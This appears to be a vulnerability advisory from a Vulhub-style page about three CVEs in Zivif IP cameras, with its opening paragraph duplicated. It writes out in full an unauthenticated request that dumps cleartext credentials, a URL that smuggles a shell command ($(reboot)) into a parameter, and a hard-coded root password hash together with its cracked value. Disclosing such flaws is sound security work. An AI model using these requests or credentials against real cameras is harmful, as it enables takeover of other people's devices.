VULHUB ™

Implementation of access controls is Zivif cameras is severely lacking.As a result, CGI functions can be called directly, bypassing authentication checks. This was first identified with the following request (CVE-2017-17106) `http://<Camera Address>/web/cgi-bin/hi3510/param.cgi?cmd=getuser` Cameras respond to this with: ``` var name0="admin"; var password0="admin"; var authLevel0="255"; var name1="guest"; var password1="guest"; var authLevel1="3"; var name2="admin2"; var password2="admin"; var authLevel2="3"; var name3=""; var password3=""; var authLevel3="3"; var name4=""; var password4=""; var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3"; var name6=""; var password6=""; var authLevel6="3"; var name7=""; var password7=""; var authLevel7="3"; var name8=""; var password8=""; var authLevel8="0"; var name9=""; var password9=""; var authLevel9="0 ``` Credentials are returned in cleartext to the requester. In exploring, unauthenticated remote command injection is...

Implementation of access controls is Zivif cameras is severely lacking.As a result, CGI functions can be called directly, bypassing authentication checks. This was first identified with the following request (CVE-2017-17106) `http://<Camera Address>/web/cgi-bin/hi3510/param.cgi?cmd=getuser` Cameras respond to this with: ``` var name0="admin"; var password0="admin"; var authLevel0="255"; var name1="guest"; var password1="guest"; var authLevel1="3"; var name2="admin2"; var password2="admin"; var authLevel2="3"; var name3=""; var password3=""; var authLevel3="3"; var name4=""; var password4=""; var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3"; var name6=""; var password6=""; var authLevel6="3"; var name7=""; var password7=""; var authLevel7="3"; var name8=""; var password8=""; var authLevel8="0"; var name9=""; var password9=""; var authLevel9="0 ``` Credentials are returned in cleartext to the requester. In exploring, unauthenticated remote command injection is possible using (CVE-2017-17105) `http://<CameraIP>/cgi-bin/iptest.cgi?cmd=iptest.cgi&-time="1504225666237"&-url=$(reboot)` Command results are not returned, however are executed by the system. One last findings was the /etc/passwd file contains the following hard-coded entry (CVE-2017-17107): ``` root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh ``` The encrypted password is `cat1029`. ``` (none) login: root Password: Login incorrect (none) login: root Password: Welcome to SONIX. \u@\h:\W$ ``` Because of the way the file system is structured, changing this password requires more work then running passwd.